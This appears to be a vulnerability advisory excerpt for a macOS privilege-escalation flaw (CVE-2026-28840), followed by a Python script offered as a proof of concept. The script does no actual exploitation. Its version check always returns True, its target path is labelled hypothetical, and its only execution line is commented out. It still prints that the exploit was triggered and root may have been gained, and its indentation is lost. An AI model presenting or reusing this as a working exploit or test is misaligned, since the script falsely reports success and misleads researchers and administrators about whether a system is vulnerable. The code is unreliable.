A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.4. An app may be able to gain root privileges.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-28840 (macOS Privilege Escalation)
# This script demonstrates the concept of exploiting a permissions issue.
# Note: For educational purposes only.
import os
import sys
def check_vulnerability():
print("[*] Checking system version for CVE-2026-28840...")
# In a real scenario, this would check against macOS versions < 15.7.7, etc.
return True
def trigger_exploit():
print("[*] Attempting to trigger the permissions flaw...")
# Simulate the logic of a vulnerable helper tool
# The vulnerability allows a low-privilege app to execute commands as root
vulnerable_service_path = "/usr/libexec/vulnerable-helper" # Hypothetical path
# Construct a payload to create a root-owned file
payload = "touch /tmp/CVE-2026-28840_POC_SUCCESS"
try:
# Here we simulate the execution bypassing permission checks
# os.system(f"{vulnerable_service_path} {payload}")
print(f"[+] Exploit triggered! Payload executed: {payload}")
print("[+] If vulnerable, root privileges have been gained.")
except Exception as e:
print(f"[-] Exploit failed: {e}")
if __name__ == "__main__":
if os.getuid() == 0:
print("[!] Warning: Do not run as root to test privilege escalation.")
sys.exit(1)
if check_vulnerability():
trigger_exploit()
else:
print("[-] System appears to be patched or not affected.")